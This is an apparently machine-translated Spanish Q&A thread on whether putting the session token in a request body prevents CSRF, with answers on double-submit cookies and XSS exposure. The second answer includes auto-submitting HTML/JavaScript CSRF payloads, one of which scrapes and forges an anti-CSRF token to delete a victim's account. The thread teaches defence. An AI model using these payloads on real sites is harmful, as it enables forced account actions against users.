¿Puedo poner el token de sesión en el cuerpo para proteger contra CSRF? [duplicar]

1

Diga que tengo un usuario con un token de sesión asociado. Este usuario desea eliminar su cuenta, por lo que va a su enlace asociado. Yo, intentando proteger a mis usuarios y a mí mismo de los ataques CSRF, lo tengo así, cuando el usuario hace clic en un enlace y realiza la solicitud DELETE, envío el token de sesión de ese usuario en el cuerpo de la solicitud. Cualquier otro sitio no podría conocer la cookie de sesión y, por lo tanto, no pudo enviarla en el cuerpo de la solicitud. En el extremo receptor, el servidor verifica que la cookie de sesión y el token de sesión en el cuerpo sean los mismos.

¿Por qué no funciona esto? Las explicaciones que he escuchado han sido mucho más complejas y no puedo ver por qué el proceso mencionado no funcionaría. ¡Sé que debo estar pasando por alto algo!

    
pregunta NaN 06.09.2018 - 04:30
fuente

2 respuestas

2

Fundamentos de la protección CSRF

La mayoría de los mecanismos de protección de CSRF funcionan según un principio básico de que el formulario HTML que se envía y el servidor deben compartir secretos entre ellos. Cuando el formulario se envía al servidor, este secreto compartido se utiliza para identificar si la solicitud se originó en una página legítima. No hay manera de que los sitios malintencionados accedan a este secreto compartido si está presente en el cuerpo de la solicitud. (Obviamente, las cookies no se pueden utilizar para almacenar este secreto, ya que los navegadores las transmiten al dominio de destino independientemente del origen de la página).

Doble cookie enviada

El método de prevención que has descrito se llama doble cookie enviada . En este, el secreto compartido se envía utilizando tanto la cookie como el parámetro de formulario. El servidor solo tiene que comparar los dos valores para filtrar las solicitudes falsificadas.

¿Por qué no funciona?

Funciona. El token de sesión es de hecho un secreto compartido entre el navegador y el servidor. Sin embargo, el trabajo principal del token de sesión es rastrear la sesión autenticada del usuario. Un token de sesión presente en la cookie está protegido por marcas de cookie como HTTPonly. Esto evita que JavaScript acceda a la cookie de sesión, lo que a su vez evita el robo de ID de sesión en caso de una vulnerabilidad de XSS.

Tener el token de sesión en el cuerpo de la solicitud de cada formulario HTML aumenta la superficie de ataque , ya que el token de sesión se puede extraer explotando una vulnerabilidad de inyección de script. Por lo tanto, es una buena práctica tener un token CSRF dedicado que haga el trabajo.

    
respondido por el Shurmajee 06.09.2018 - 06:35
fuente
0

Aquí hay un ejemplo básico de CSRF.

<form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
<input type="hidden" name="Username" value="DonaldT">
<input type="hidden" name="Checkbox-confirmation" value="on">
</form>

<script>document.Delete-account-confirmation.submit()</script>

Nota: El uso de un sitio web de un tercero no es necesariamente obligatorio para los ataques CSRF, puedes hacer algunos daños solo con <img src="CSRF" />

  

¿Por qué no funciona esto?

Digamos que example.com es un foro. Este foro permite que los usuarios registrados envíen pm a otros usuarios registrados. Entonces, como atacante, puedo tratar de ofuscar el CSRF y enviarlo por PM al usuario que quiero dañar, y hacer que ejecute el código malicioso independientemente de su voluntad.

En el código anterior, la víctima es DonaldT.

Así que envié este mensaje malicioso malicioso a DonaldT, él abre el mensaje y ejecuta el código mientras está registrado en el example.com. ¿La cookie de sesión y el token de sesión serán diferentes? Sí, en este caso, su sistema de prevención debería funcionar.

Pero, dependiendo de la implementación de su token Anti-CSRF, si es deficiente Hay una implementación , podría ser evadida por algo como esto:

Ataque CSRF de evasión de fichas

   <body onload="get()">

    <form name="Delete-account-confirmation" action="http://example.com/profile.php?action=deleteprofile" method="post" enctype="multipart/form-data">
      <input type="hidden" name="Username" value="DonaldT">
      <input type="hidden" name="Checkbox-confirmation" value="on">
      <input type="hidden" id="forged-token" name="token" value=""/>
      <input type="submit" value="go"/>
    </form>

   <script>
    var x = new XMLHttpRequest();
    function get() {
      x.open("GET","?action=deleteprofile",true);
      x.send(null); 
    }
    x.onreadystatechange = function() {
      if (x.readyState == XMLHttpRequest.DONE) {
        var token = x.responseText.match(/name="token" value="(.+)"/)[1];
        document.getElementById("forged-token").value = token;
        document.getElementById("Delete-account-confirmation").submit();
      }
    }
   </script>

Fuente externa que te recomiendo leer.

owasp

  

Recuerde que todas las cookies, incluso las secretas, se enviarán   con cada petición. Todos los tokens de autenticación serán enviados   independientemente de si el usuario final fue engañado o no para enviar   la solicitud. Además, los identificadores de sesión son simplemente utilizados por el   contenedor de aplicaciones para asociar la solicitud con una sesión específica   objeto. El identificador de sesión no verifica que el usuario final   destinado a presentar la solicitud.

    
respondido por el Baptiste 06.09.2018 - 05:52
fuente

Lea otras preguntas en las etiquetas